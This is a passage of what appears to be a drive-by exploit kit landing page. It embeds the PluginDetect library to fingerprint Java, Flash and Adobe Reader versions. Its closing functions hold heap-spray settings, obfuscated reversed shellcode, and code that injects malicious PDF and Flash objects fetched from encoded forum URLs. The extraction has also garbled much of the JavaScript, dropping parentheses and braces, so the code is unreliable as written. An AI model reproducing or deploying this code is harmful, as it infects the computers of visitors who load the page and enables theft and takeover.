  966.                 if (c && c.jvms
  967.                   break
  968.                 }
  969.               }
  970.               catch (j)
  971.               }
  972.             }
  973.           }
  974.           else
  975.             if!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type
  976.               k.HTML = g.insertHTML"object", ["type", h.type], [];
  977.               c = g.getDOMobj(k.HTML
  978.             }
  979.           }
  980.           if (c)
  981.             try
  982.               a = c.jvms;
  983.               if (a)
  984.                 i = a.getLength();
  985.                 if (g.isNum(i))
  986.                   k.status = 0 < i ? 1 :- 1;
  987.                   for (l = 0; l < i; l ++
  988.                     h = g.getNum(a.get(i - 1 - l).version;
  989.                     if (h)
  990.                       k.VERSIONS.push(h);
  991.                       f["a" + g.formatNum(h)] = 1
  992.                     }
  993.                   }
  994.                 }
  995.               }
  996.             }
  997.             catch (j)
  998.             }
  999.           }
  1000.           h = 0;
  1001.           for (lin f)
  1002.             h ++
  1003.           }
  1004.           if (h && h !== k.VERSIONS.length
  1005.             k.VERSIONS = []
  1006.           }
  1007.           if (k.VERSIONS.length
  1008.             k.version = g.formatNum(k.VERSIONS[0]
  1009.           }
  1010.           ;
  1011.           return k
  1012.         }
  1013.       }
  1014.       , AXO :
  1015.         $ : 1, hasRun : 0, VERSIONS : [], version : "", disabled : function ()
  1016.           return this .$$.isDisabled.AXO()
  1017.         }
  1018.         , JavaVersions : [[1, 9, 1, 40], [1, 8, 1, 40], [1, 7, 1, 40], [1, 6, 0, 40], [1,
  1019.         5, 0, 30], [1, 4, 2, 30], [1, 3, 1, 30]], query : function ()
  1020.           var a = this , e = a.$, b = a.$$, c = (a.hasRun || a.disabled());
  1021.           a.hasRun = 1;
  1022.           if (c)
  1023.             return a
  1024.           }
  1025.           var i = [], k = [1, 5, 0, 14], j = [1, 6, 0, 2], h = [1, 3, 1, 0], g = [1, 4, 2,
  1026.           0], f = [1, 5, 0, 7], d = b.getInfo ? true : false, l =
  1027.           }
  1028.           ;
  1029.           if (b.minIEver= e.verIE
  1030.             i = a.search(j, j, d);
  1031.             if0 < i.length && d)
  1032.               i = a.search(k, k, d)
  1033.             }
  1034.           }
  1035.           else
  1036.             if (d)
  1037.               i = a.search(f, f, true
  1038.             }
  1039.             if (i.length == 0
  1040.               i = a.search(h, g, false
  1041.             }
  1042.           }
  1043.           if (i.length
  1044.             a.version = i[0];
  1045.             a.VERSIONS = [].concat(i)
  1046.           }
  1047.           ;
  1048.           return a
  1049.         }
  1050.         , search : function (a, j, p)
  1051.           var h, d, f = this , e = f.$, k = f.$$, n, c, l, q, b, o, r, i = [];
  1052.           if0 < e.compareNums(a.join",", j.join",")))
  1053.             j = a
  1054.           }
  1055.           j = e.formatNum(j.join","));
  1056.           var m, s = "1,4,2,0", g = "JavaPlugin." + a[0] + "" + a[1] + "" + a[2] + "" +0
  1057.            < a[3] ?"_" + (a[3]10 ? "0" : ""+ a[3]: "";
  1058.           for (h = 0; h < f.JavaVersions.length; h ++
  1059.             d = f.JavaVersions[h];
  1060.             n = "JavaPlugin." + d[0] + "" + d[1];
  1061.             b = d[0] + "." + d[1] + ".";
  1062.             for (l = d[2];
  1063.             l >= 0; l --
  1064.               r = "JavaWebStart.isInstalled." + b + l + ".0";
  1065.               if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j) >= 0 &&! e.getAXO(r
  1066.               ))
  1067.                 continue
  1068.               }
  1069.               m = 0 > e.compareNums(d[0] + "," + d[1] + "," + l + ",0", s) ? true : false;
  1070.               for (q = d[3];
  1071.               q >= 0; q --
  1072.                 c = l + "_" + (q < 10 ? "0" + q : q);
  1073.                 o = n + c;
  1074.                 if (e.getAXO(o) && (m || e.getAXO(r)))
  1075.                   i.push(b + c);
  1076.                   if!p)
  1077.                     return i
  1078.                   }
  1079.                 }
  1080.                 if (o == g)
  1081.                   return i
  1082.                 }
  1083.               }
  1084.               if (e.getAXO(n + l) && (m || e.getAXO(r)))
  1085.                 i.push(b + l);
  1086.                 if!p)
  1087.                   return i
  1088.                 }
  1089.               }
  1090.               if (n + l == g)
  1091.                 return i
  1092.               }
  1093.             }
  1094.           }
  1095.           return i
  1096.         }
  1097.       }
  1098.       , navMime :
  1099.         $ : 1, hasRun : 0, mimetype : "", version : "", length : 0, mimeObj : 0, pluginObj
  1100.          : 0, disabled : function ()
  1101.           return this .$$.isDisabled.navMime()
  1102.         }
  1103.         , query : function ()
  1104.           var i = this , f = i.$, a = i.$$, b = (i.hasRun || i.disabled());
  1105.           i.hasRun = 1;
  1106.           if (b)
  1107.             return i
  1108.           }
  1109.           ;
  1110.           var n =/^\ s * application \/ x - java - applet;
  1111.           jpi - version \ s *=\ s * ( \ d. * )$ / i, g, l, j, d = "", h = "a", o, m, k =
  1112.          
  1113.           }
  1114.           , c = f.formatNum"0";
  1115.           for (l = 0; l < navigator.mimeTypes.length; l ++
  1116.             o = navigator.mimeTypes[l];
  1117.             m = o ? o.enabledPlugin : 0;
  1118.             g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1119.             if (g && m && (m.description || m.name))
  1120.               if!k[h + g]
  1121.                 i.length ++
  1122.               }
  1123.               k[h + g] = o.type;
  1124.               if0 < f.compareNums(g, c))
  1125.                 c = g
  1126.               }
  1127.             }
  1128.           }
  1129.           g = k[h + c];
  1130.           if (g)
  1131.             o = f.hasMimeType(g);
  1132.             i.mimeObj = o;
  1133.             i.pluginObj = o ? o.enabledPlugin : 0;
  1134.             i.mimetype = g;
  1135.             i.version = c
  1136.           }
  1137.           ;
  1138.           return i
  1139.         }
  1140.       }
  1141.       , navPlugin :
  1142.         $ : 1, hasRun : 0, version : "", disabled : function ()
  1143.           return this .$$.isDisabled.navPlugin()
  1144.         }
  1145.         , query : function ()
  1146.           var m = this , e = m.$, c = m.$$, h = c.navigator, j, l, k, g, d, a, i, f = 0, b
  1147.            = (m.hasRun || m.disabled());
  1148.           m.hasRun = 1;
  1149.           if (b)
  1150.             return m
  1151.           }
  1152.           ;
  1153.           a = h.pluginObj.name || "";
  1154.           i = h.pluginObj.description || "";
  1155.           if!f || c.debug
  1156.             g =/ Java. * TM. * Platform[ ^\ d] * ( \ d + )( ?: [ \ ., _]( \ d * )) ??:\
  1157.             s * [Update] +\ s * ( \ d * )) ?/ i;
  1158.             if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5
  1159.               f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0"+ "," + (RegExp.
  1160.               $3 ? RegExp.$3 : "0"
  1161.             }
  1162.           }
  1163.           if!f || c.debug
  1164.             g =/ Java[ ^\ d] * Plug - in  / i;
  1165.             l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1166.             k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1167.             if (l && (e.compareNums(l, e.formatNum"1,3")) < 0 || e.compareNums(l, e.
  1168.             formatNum"2")) >= 0))
  1169.               l = 0
  1170.             }
  1171.             if (k && (e.compareNums(k, e.formatNum"1,3")) < 0 || e.compareNums(k, e.
  1172.             formatNum"2")) >= 0))
  1173.               k = 0
  1174.             }
  1175.             d = l && k ?0 < e.compareNums(l, k) ? l : k) : (l || k);
  1176.             if (d)
  1177.               f = d
  1178.             }
  1179.           }
  1180.           if!f && e.isSafari && e.OS == 2
  1181.             j = e.findNavPlugin"Java.*\d.*Plug-in.*Cocoa", 0;
  1182.             if (j)
  1183.               l = e.getNum(j.description;
  1184.               if (l)
  1185.                 f = l
  1186.               }
  1187.             }
  1188.           }
  1189.           ;
  1190.           if (f)
  1191.             m.version = e.formatNum(f)
  1192.           }
  1193.           ;
  1194.           return m
  1195.         }
  1196.       }
  1197.       , lang :
  1198.         $ : 1, System :
  1199.           $ : 1, hasRun : 0, result : [null, null], disabled : function ()
  1200.             return this .$$.isDisabled.windowDotJava()
  1201.           }
  1202.           , getPropertyHas : function (a)
  1203.             var b = this , d = b.$, c = b.getProperty()[0];
  1204.             return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0? 1 : 0
  1205.           }
  1206.           , getProperty : function ()
  1207.             var f = this , g = f.$, d = f.$$, i, h =
  1208.             }
  1209.             , b = f.hasRun || f.disabled();
  1210.             f.hasRun = 1;
  1211.             if!b)
  1212.               var a = "java_qqq990";
  1213.               g[a] = null;
  1214.               try
  1215.                 var c = document.createElement"script";
  1216.                 c.type = "text/javascript";
  1217.                 c.appendChild(document.createTextNode'
  1218. (function()var e,a;trya=[window.java.lang.System.getProperty("java.version")+" ",window.
  1219. java.lang.System.getProperty("java.vendor")+" "]}catch(e)};' + g.name + "." + a +
  1220.                 "=a||0})();"));
  1221.                 g.head.insertBefore(c, g.head.firstChild;
  1222.                 g.head.removeChild(c)
  1223.               }
  1224.               catch (i)
  1225.               }
  1226.               if (g[a] && g.isArray(g[a]))
  1227.                 f.result = [].concat(g[a]
  1228.               }
  1229.             }
  1230.             return f.result
  1231.           }
  1232.         }
  1233.       }
  1234.       , applet :
  1235.         $ : 1, results : [[null, null], [null, null], [null, null]], getResult : function
  1236.         ()
  1237.           var c = this .results, a, b = [];
  1238.           for (a = 0; a < c.length; a ++
  1239.             b = c[a];
  1240.             if (b[0]
  1241.               break
  1242.             }
  1243.           }
  1244.           return [].concat(b)
  1245.         }
  1246.         , HTML : [0, 0, 0], active : [0, 0, 0], DummyObjTagHTML : 0, DummySpanTagHTML : 0,
  1247.         allowed : [1, 1, 1], VerifyTagsHas : function (c)
  1248.           var d = this , b;
  1249.           for (b = 0; b < d.allowed.length; b ++
  1250.             if (d.allowed[b] === c)
  1251.               return 1
  1252.             }
  1253.           }
  1254.           return 0
  1255.         }
  1256.         , saveAsVerifyTagsArray : function (c)
  1257.           var b = this , d = b.$, a;
  1258.           if (d.isArray(c))
  1259.             for (a = 0; a < b.allowed.length; a ++
  1260.               if (d.isNum(c[a]))
  1261.                 if0 > c[a]
  1262.                   c[a] = 0
  1263.                 }
  1264.                 if (c[a]3
  1265.                   c[a] = 3
  1266.                 }
  1267.                 b.allowed[a] = c[a]
  1268.               }
  1269.             }
  1270.           }
  1271.         }
  1272.         , setVerifyTagsArray : function (d)
  1273.           var b = this , c = b.$, a = b.$$;
  1274.           if (a.getVersionDone === null
  1275.             b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1276.           }
  1277.           if (a.debug || (a.verify && a.verify.isEnabled()))
  1278.             b.saveAsVerifyTagsArray[3, 3, 3]
  1279.           }
  1280.           else
  1281.             if (d)
  1282.               b.saveAsVerifyTagsArray(d)
  1283.             }
  1284.           }
  1285.         }
  1286.         , allDisabled : function ()
  1287.           return this .$$.isDisabled.allApplets()
  1288.         }
  1289.         , isDisabled : function (d)
  1290.           var b = this , c = b.$, a = b.$$;
  1291.           if (d == 2 &&! c.isIE
  1292.             return 1
  1293.           }
  1294.           if (d === 0 || d == 2
  1295.             return a.isDisabled.ObjectTag()
  1296.           }
  1297.           if (d == 1
  1298.             return a.isDisabled.AppletTag()
  1299.           }
  1300.         }
  1301.         , can_Insert_Query : function (b)
  1302.           var a = this ;
  1303.           if (a.HTML[b]
  1304.             return 0
  1305.           }
  1306.           return !a.isDisabled(b)
  1307.         }
  1308.         , can_Insert_Query_Any : function ()
  1309.           var b = this , a;
  1310.           for (a = 0; a < b.results.length; a ++
  1311.             if (b.can_Insert_Query(a))
  1312.               return 1
  1313.             }
  1314.           }
  1315.           return 0
  1316.         }
  1317.         , should_Insert_Query : function (d)
  1318.           var b = this , e = b.allowed, c = b.$, a = b.$$;
  1319.           if!b.can_Insert_Query(d))
  1320.             return 0
  1321.           }
  1322.           if (e[d] == 3
  1323.             return 1
  1324.           }
  1325.           if (e[d] == 2.8 &&! b.getResult()[0]
  1326.             return 1
  1327.           }
  1328.           if (e[d] == 2.5 &&! a.lang.System.getProperty()[0]
  1329.             return 1
  1330.           }
  1331.           if (e[d] == 2.2 &&! a.lang.System.getProperty()[0] &&! b.getResult()[0]
  1332.             return 1
  1333.           }
  1334.           if!a.nonAppletDetectionOk(a.version0))
  1335.             if (e[d] == 2
  1336.               return 1
  1337.             }
  1338.             if (e[d] == 1 &&! b.getResult()[0]
  1339.               return 1
  1340.             }
  1341.           }
  1342.           return 0
  1343.         }
  1344.         , should_Insert_Query_Any : function ()
  1345.           var b = this , a;
  1346.           for (a = 0; a < b.allowed.length; a ++
  1347.             if (b.should_Insert_Query(a))
  1348.               return 1
  1349.             }
  1350.           }
  1351.           return 0
  1352.         }
  1353.         , query : function (f)
  1354.           var h, a = this , g = a.$, d = a.$$, i = null, j = null, b = a.results, c;
  1355.           if ((b[f][0] && b[f][1]|| (d.debug && d.OTF3))
  1356.             return
  1357.           }
  1358.           c = g.getDOMobj(a.HTML[f], true;
  1359.           if (c)
  1360.             try
  1361.               i = g.getNum(c.getVersion() + " ";
  1362.               j = c.getVendor() + " ";
  1363.               c.statusbar(g.winLoaded ? " " : " "
  1364.             }
  1365.             catch (h)
  1366.             }
  1367.             if (i && g.isStrNum(i))
  1368.               b[f] = [i, j]
  1369.             }
  1370.             else
  1371.             }
  1372.             ;
  1373.             try
  1374.               if (g.isIE && i && c.readyState != 4
  1375.                 g.garbage = true;
  1376.                 c.parentNode.removeChild(c)
  1377.               }
  1378.             }
  1379.             catch (h)
  1380.             }
  1381.           }
  1382.         }
  1383.         , insert_Query_Any : function ()
  1384.           var d = this , i = d.$, e = d.$$, l = d.results, p = d.HTML, a =
  1385.           "    ", g = "A.class", m = i.file.getValid(e);
  1386.           if!m)
  1387.             return d.getResult()
  1388.           }
  1389.           if (e.OTF1
  1390.             e.OTF = 1
  1391.           }
  1392.           if (d.allDisabled())
  1393.             return d.getResult()
  1394.           }
  1395.           if (e.OTF1.5
  1396.             e.OTF = 1.5
  1397.           }
  1398.           var j = m.name + m.ext, h = m.path;
  1399.           var f = ["archive", j, "code", g], c = ["mayscript", "true"], o = ["scriptable",
  1400.           "true"].concat(c), n = e.navigator, b =! i.isIE && n.mimeObj && n.mimeObj.type ?
  1401.           n.mimeObj.type : e.mimeType[0];
  1402.           if (d.should_Insert_Query0))
  1403.             if (e.OTF2
  1404.               e.OTF = 2
  1405.             }
  1406.             ;
  1407.             p[0] = i.isIE ? i.insertHTML"object", ["type", b], ["codebase", h].concat(f).
  1408.             concat(o), a, e) : i.insertHTML"object", ["type", b], ["codebase", h].concat
  1409.             f).concat(o), a, e);
  1410.             l[0] = [0, 0];
  1411.             d.query0
  1412.           }
  1413.           if (d.should_Insert_Query1))
  1414.             if (e.OTF2
  1415.               e.OTF = 2
  1416.             }
  1417.             ;
  1418.             p[1] = i.isIE ? i.insertHTML"applet", ["alt", a].concat(c).concat(f), [
  1419.             "codebase", h].concat(c), a, e) : i.insertHTML"applet", ["codebase", h, "alt"
  1420.             , a].concat(c).concat(f), [].concat(c), a, e);
  1421.             l[1] = [0, 0];
  1422.             d.query1
  1423.           }
  1424.           if (d.should_Insert_Query2))
  1425.             if (e.OTF2
  1426.               e.OTF = 2
  1427.             }
  1428.             ;
  1429.             p[2] = i.isIE ? i.insertHTML"object", ["classid", e.classID], ["codebase", h
  1430.             ].concat(f).concat(o), a, e) : i.insertHTML();
  1431.             l[2] = [0, 0];
  1432.             d.query2
  1433.           }
  1434.           if!d.DummyObjTagHTML &&! e.isDisabled.ObjectTag())
  1435.             d.DummyObjTagHTML = i.insertHTML"object", [], [], a)
  1436.           }
  1437.           if!d.DummySpanTagHTML
  1438.             d.DummySpanTagHTML = i.insertHTML"", [], [], a)
  1439.           }
  1440.           ;
  1441.           var k = e.NOTF;
  1442.           if (e.OTF3 && k.shouldContinueQuery())
  1443.             e.OTF = 3;
  1444.             k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k);
  1445.             if!i.winLoaded
  1446.               i.WLfuncs0.push[k.winOnLoadQuery, k]
  1447.             }
  1448.             setTimeout(k.onIntervalQuery, k.intervalLength
  1449.           }
  1450.           ;
  1451.           return d.getResult()
  1452.         }
  1453.       }
  1454.       , NOTF :
  1455.         $ : 1, count : 0, countMax : 25, intervalLength : 250, shouldContinueQuery :
  1456.         function ()
  1457.           var e = this , d = e.$, c = e.$$, b = c.applet, a;
  1458.           for (a = 0; a < b.results.length; a ++
  1459.             if (b.HTML[a] &&! b.results[a][0] && (b.allowed[a]= 2 || (b.allowed[a] == 1
  1460.              &&! b.getResult()[0])) && e.isAppletActive(a) >= 0
  1461.               return 1
  1462.             }
  1463.           }
  1464.           return 0
  1465.         }
  1466.         , isJavaActive : function (d)
  1467.           var f = this , c = f.$$, a, b, e =- 9;
  1468.           for (a = 0; a < c.applet.HTML.length; a ++
  1469.             b = f.isAppletActive(a, d);
  1470.             if (b > e)
  1471.               e = b
  1472.             }
  1473.           }
  1474.           return e
  1475.         }
  1476.         , isAppletActive : function (c, a)
  1477.           var d = this , b = d.$$.applet.active;
  1478.           if!a)
  1479.             b[c] = d.isAppletActive_(c)
  1480.           }
  1481.           return b[c]
  1482.         }
  1483.         , isAppletActive_ : function (d)
  1484.           var g = this , f = g.$, b = g.$$, l = b.navigator, a = b.applet, h = a.HTML[d],
  1485.           i, k, c = 0, j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.
  1486.           count;
  1487.           if (j ==- 2
  1488.             return  - 2
  1489.           }
  1490.           try
  1491.             if (f.isIE && b.minIEver= f.verIE && f.getDOMobj(h).object
  1492.               return 1
  1493.             }
  1494.           }
  1495.           catch (i)
  1496.           }
  1497.           for (k = 0; k < a.active.length; k ++
  1498.             if0 < a.active[k]
  1499.               c = 1
  1500.             }
  1501.           }
  1502.           if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.
  1503.           tagName == "object" || c)) || b.lang.System.getProperty()[0])))
  1504.             return 1
  1505.           }
  1506.           if0 > j)
  1507.             return  - 1
  1508.           }
  1509.           return 0
  1510.         }
  1511.         , winOnLoadQuery : function (c, d)
  1512.           var b = d.$$, a;
  1513.           if (b.OTF == 3
  1514.             a = d.queryAllApplets();
  1515.             d.queryCompleted(a[1], a[2]
  1516.           }
  1517.         }
  1518.         , $$onIntervalQuery : function (d)
  1519.           var c = d.$, b = d.$$, a;
  1520.           if (b.OTF == 3
  1521.             a = d.queryAllApplets();
  1522.             if!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax))
  1523.               d.queryCompleted(a[1], a[2]
  1524.             }
  1525.           }
  1526.           d.count++;
  1527.           if (b.OTF == 3
  1528.             setTimeout(d.onIntervalQuery, d.intervalLength
  1529.           }
  1530.         }
  1531.         , queryAllApplets : function ()
  1532.           var g = this , f = g.$, e = g.$$, d = e.applet, b, a, c;
  1533.           for (b = 0; b < d.results.length; b ++
  1534.             d.query(b)
  1535.           }
  1536.           a = d.getResult();
  1537.           c = a[0] ? true : false;
  1538.           return [c, a[0], a[1]]
  1539.         }
  1540.         , queryCompleted : function (c, f)
  1541.           var e = this , d = e.$, b = e.$$;
  1542.           if (b.OTF= 4
  1543.             return
  1544.           }
  1545.           b.OTF = 4;
  1546.           var a = e.isJavaActive();
  1547.           b.setPluginStatus(c, f, 0;
  1548.           if (b.funcs
  1549.             d.callArray(b.funcs
  1550.           }
  1551.           if (d.onDoneEmptyDiv
  1552.             d.onDoneEmptyDiv()
  1553.           }
  1554.         }
  1555.       }
  1556.       , zz : 0
  1557.     }
  1558.     , flash :
  1559.       mimeType : "application/x-shockwave-flash", progID : "ShockwaveFlash.ShockwaveFlash"
  1560.       , classID : "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000", getVersion : function ()
  1561.         var b = function (i)
  1562.           if!i)
  1563.             return null
  1564.           }
  1565.           var e =/ [ \ d][ \ d \,\ . \ s] * [rRdD]
  1566.             0, 1
  1567.           }
  1568.           [ \ d \, ] */ .exec(i);
  1569.           return e ? e[0].replace/[rRdD\.]/g, ",").replace/\s/g, "": null
  1570.         }
  1571.         ;
  1572.         var j = this , g = j.$, k, h, l = null, c = null, a = null, f, m, d;
  1573.         if!g.isIE
  1574.           m = g.hasMimeType(j.mimeType;
  1575.           if (m)
  1576.             f = g.getDOMobj(g.insertHTML"object", ["type", j.mimeType], [], "", j));
  1577.             try
  1578.               l = g.getNum(f.GetVariable"$version"))
  1579.             }
  1580.             catch (k)
  1581.             }
  1582.           }
  1583.           if!l)
  1584.             d = m ? m.enabledPlugin : null;
  1585.             if (d && d.description
  1586.               l = b(d.description
  1587.             }
  1588.             if (l)
  1589.               l = g.getPluginFileVersion(d, l)
  1590.             }
  1591.           }
  1592.         }
  1593.         else
  1594.           for (h = 15; h > 2; h --
  1595.             c = g.getAXO(j.progID + "." + h);
  1596.             if (c)
  1597.               a = h.toString();
  1598.               break
  1599.             }
  1600.           }
  1601.           if!c)
  1602.             c = g.getAXO(j.progID
  1603.           }
  1604.           if (a == "6"
  1605.             try
  1606.               c.AllowScriptAccess = "always"
  1607.             }
  1608.             catch (k)
  1609.               return "6,0,21,0"
  1610.             }
  1611.           }
  1612.           try
  1613.             l = b(c.GetVariable"$version"))
  1614.           }
  1615.           catch (k)
  1616.           }
  1617.           if!l && a)
  1618.             l = a
  1619.           }
  1620.         }
  1621.         j.installed = l ? 1 :- 1;
  1622.         j.version = g.formatNum(l);
  1623.         return true
  1624.       }
  1625.     }
  1626.     , adobereader :
  1627.       mimeType : "application/pdf", navPluginObj : null, progID : ["AcroPDF.PDF",
  1628.       "PDF.PdfCtrl"], classID : "clsid:CA8A9780-280D-11CF-A24D-444553540000", INSTALLED :
  1629.      
  1630.       }
  1631.       , pluginHasMimeType : function (d, c, f)
  1632.         var b = this , e = b.$, a;
  1633.         for (ain d)
  1634.           if (d[a] && d[a].type && d[a].type == c)
  1635.             return 1
  1636.           }
  1637.         }
  1638.         if (e.getMimeEnabledPlugin(c, f))
  1639.           return 1
  1640.         }
  1641.         return 0
  1642.       }
  1643.       , getVersion : function (l, j)
  1644.         var g = this , d = g.$, i, f, m, n, b = null, h = null, k = g.mimeType, a, c;
  1645.         if (d.isString(j))
  1646.           j = j.replace/\s/g, "";
  1647.           if (j)
  1648.             k = j
  1649.           }
  1650.         }
  1651.         else
  1652.           j = null
  1653.         }
  1654.         if (d.isDefined(g.INSTALLED[k]))
  1655.           g.installed = g.INSTALLED[k];
  1656.           return
  1657.         }
  1658.         if!d.isIE
  1659.           a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1660.           if (g.getVersionDone !== 0
  1661.             g.getVersionDone = 0;
  1662.             b = d.getMimeEnabledPlugin(g.mimeType, a);
  1663.             if!j)
  1664.               n = b
  1665.             }
  1666.             if!b && d.hasMimeType(g.mimeType))
  1667.               b = d.findNavPlugin(a, 0
  1668.             }
  1669.             if (b)
  1670.               g.navPluginObj = b;
  1671.               h = d.getNum(b.description|| d.getNum(b.name;
  1672.               h = d.getPluginFileVersion(b, h);
  1673.               if!h && d.OS == 1
  1674.                 if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a))
  1675.                   h = "9"
  1676.                 }
  1677.                 else
  1678.                   if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a))
  1679.                     h = "8"
  1680.                   }
  1681.                 }
  1682.               }
  1683.             }
  1684.           }
  1685.           else
  1686.             h = g.version
  1687.           }
  1688.           if!d.isDefined(n))
  1689.             n = d.getMimeEnabledPlugin(k, a)
  1690.           }
  1691.           g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ?- 0.2 :- 1))
  1692.         }
  1693.         else
  1694.           b = d.getAXO(g.progID[0]|| d.getAXO(g.progID[1];
  1695.           c =/=\ s *[ \ d \ .] +/ g;
  1696.           try
  1697.             f = (b || d.getDOMobj(d.insertHTML"object", ["classid", g.classID], ["src",
  1698.             ""], "", g))).GetVersions();
  1699.             for (m = 0; m < 5; m ++
  1700.               if (c.test(f) &&!h || h < RegExp.$1))
  1701.                 h = RegExp.$1
  1702.               }
  1703.             }
  1704.           }
  1705.           catch (i)
  1706.           }
  1707.           g.installed = h ? 1 : (b ? 0 :- 1
  1708.         }
  1709.         if!g.version
  1710.           g.version = d.formatNum(h)
  1711.         }
  1712.         g.INSTALLED[k] = g.installed
  1713.       }
  1714.     }
  1715.     , zz : 0
  1716.   }
  1717. ;
  1718. PluginDetect.initScript();
  1719. PluginDetect.getVersion".";
  1720. var $$ = PluginDetect;
  1721. function x(s)
  1722.   d = [];
  1723.   for (i = 0; i < s.length; i ++
  1724.     k = (s.charCodeAt(i)).toString33;
  1725.     d.push(k);
  1726.   }
  1727.   ;
  1728.   return d.join":";
  1729. end_redirect = function ()
  1730. ;
  1731. function j1()
  1732.   return true;
  1733. function j2()
  1734.   return true;
  1735. function p1()
  1736.   var d = document.createElement"object";
  1737.   d.setAttribute"data", "/forum/links/column.php?dalzfmq=" + x("c833f"+ "&msrsrdpm=" +   x("rle"+ "&jddzbak=2v:1k:1m:32:33:1k:1k:31:1j:1o&sqlxaoig=" + x(pdfver.join".")));
  1738.   d.setAttribute"type", "application/pdf";
  1739.   document.body.appendChild(d);
  1740. function p2()
  1741.   var d = document.createElement"object";
  1742.   d.setAttribute"data", "/forum/links/column.php?qaxcdv=" + x("c833f"+ "&opynqk=" + x("l"+ "&tviura=2v:1k:1m:32:33:1k:1k:31:1j:1o&mddqxkqz=" + x(pdfver.join".")));
  1743.   d.setAttribute"type", "application/pdf";
  1744.   document.body.appendChild(d);
  1745. function f1()
  1746.   return false;
  1747. function getCN()
  1748.   return "/forum/links/column.php?uvdexgag=" + x("c833f"+ "&wyxtg=" + x("ygfwp"+   "&plxyuc=2v:1k:1m:32:33:1k:1k:31:1j:1o&zgcoapeq=dsl"
  1749. function getBlockSize()
  1750.   return 1024
  1751. function getAllocSize()
  1752.   return 1024 * 1024
  1753. function getAllocCount()
  1754.   return 300
  1755. function getFillBytes()
  1756.   var a = '%u' + '0c0c';
  1757.   return a + a
  1758. function getShellCode()
  1759.   var a = "
  1760. 8282!%51b4!%b5b4!%64e0!%f451!%e0b5!%9134!%2551!%74e0!%2191!%9124!%9121!%21b1!%9134!%3421!%
  1761. 2191!%b1b1!%a121!%21b1!%9154!%3421!%2191!%a1e5!%d451!%e015!%b1b1!%1421!%2191!%9114!%6421!%
  1762. 2191!%b181!%e451!%7164!%0485!%6085!%5464!%44d5!%b474!%b570!%6434!%4414!%5470!%a5d5!%e474!%
  1763. 8170!%8101!%2101!%a5d5!%946O!%7454!%7464!%1485!%d425!%7070!%8521!%c5c5!%8504!%237O!%15e1!%
  1764. eee6!%3733!%2e2a!%59b1!%7492!%621a!%6d2a!%4c0b!%6662!%7d6a!%6d7d!%0c4b!%e702!%6d7d!%8224!%
  1765. ce24!%82d5!%8a71!%2df6!%82d5!%8a71!%b3f6!%a23c!%423c!%babe!%e7c2!%b77d!%3c42!%82ba!%c224!%
  1766. 7de7!%82b7!%e324!%8ed5!%c3da!%7de7!%2482!%b7f7!%2482!%2482!%9697!%53c2!%0ac6!%c281!%2a9e!%
  1767. 8217!%5312!%eec6!%4444!%60c4!%53d2!%fec6!%a4c5!%f585!%5382!%fec6!%1e97!%0cb1!%423a!%7de7!%
  1768. 8282!%0d82!%b704!%b58O!%8O50!%c002!%fec6!%b1a1!%e5a5!%cOc2!%fec6!%f4b5!%a5d4!%c2cO!%42fe!%
  1769. 47c0!%825a!%9282!%4cc2!%a59a!%a23c!%7d3c!%7d7d!%0c94!%3a0c!%ce02!%e3ba!%c77d!%4454!%d5a5!%
  1770. 8204!%6482!%0474!%7dbc!%bed2!%83ba!%3a67!%3a4c!%87d7!%8e13!%87ba!%8282!%7d82!%8604!%8724!%
  1771. 8207!%8282!%0c82!%ac1d!%7d7d!%0b7d!%170c!%24d2!%3afd!%0402!%bd3a!%eb3c!%c5b2!%42b1!%8a55!%
  1772. 0480!%583a!%3cb7!%17be!%3867!%b2de!%c23a!%5f3a!%0fb2!%423a!%c7c0!%4c7d!%5ae6!%4236!%e43a!%
  1773. b25f!%67c0!%673a!%d5ec!%3173!%3c9d!%2f86!%52b2!%9e3e!%c502!%01ad!%6983!%3f72!%deb1!%58b2!%
  1774. 964d!%1e16!%ddb1!%80b2!%3ae5!%dde7!%05b2!%c5d1!%413a!%3ad5!%97e7!%3c46!%971c!%ccd5!%c0da!%
  1775. fac1!%d53d!%11e2!%bee6!%8681!%O93a!%7d7d!%d383!%9a6c!%b140!%b2c5!%6741!%e43a!%b13f!%e502!%
  1776. e73a!%8543!%423a!%3a86!%8681!%c43a!%b18e!%1c77!%d5c1!%dacc!%ffff!%beff!%508e!%afbe!%042e!%
  1777. 0382!%ef08!%9ec0!%6618!%139c!%0185!%cfbe!%4ecf!%6638!%1414!%1414!%".split"").reverse().
  1778.   join"";
  1779.   return a["replace"]/\%!/g, "%" + "u"
  1780. ;
  1781. function ff2()
  1782.   var oSpan = document.createElement"span";
  1783.   var url = "/forum/links/column.php?uhe=" + x("c833f"+ "&gwapy=" + x("owkq"+   "&arp=2v:1k:1m:32:33:1k:1k:31:1j:1o&kwo=lxmxja";
  1784.   oSpan.innerHTML = "
  1785. <object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id
  1786. '><param name='movie' value='" + url + "
  1787. ' /><param name='allowScriptAccess' value='always' /><param name='Play' value='0' /><embed
  1788. src='" + url + "
  1789. ' id='swf_id' name='swf_id' allowScriptAccess='always' type='application/x-shockwave-flash
  1790. ' width='10' height='10'></embed></object>";
  1791.   document.body.appendChild(oSpan);
  1792. document.write'';
  1793. setTimeout(end_redirect, 61000;
  1794. var pdfver = [];
  1795. function svwrbew6436b($)
  1796.   var ar = [];
  1797.   var javax = ($.getVersion"Ja" + "va"+ ".").toString()["split"]".";
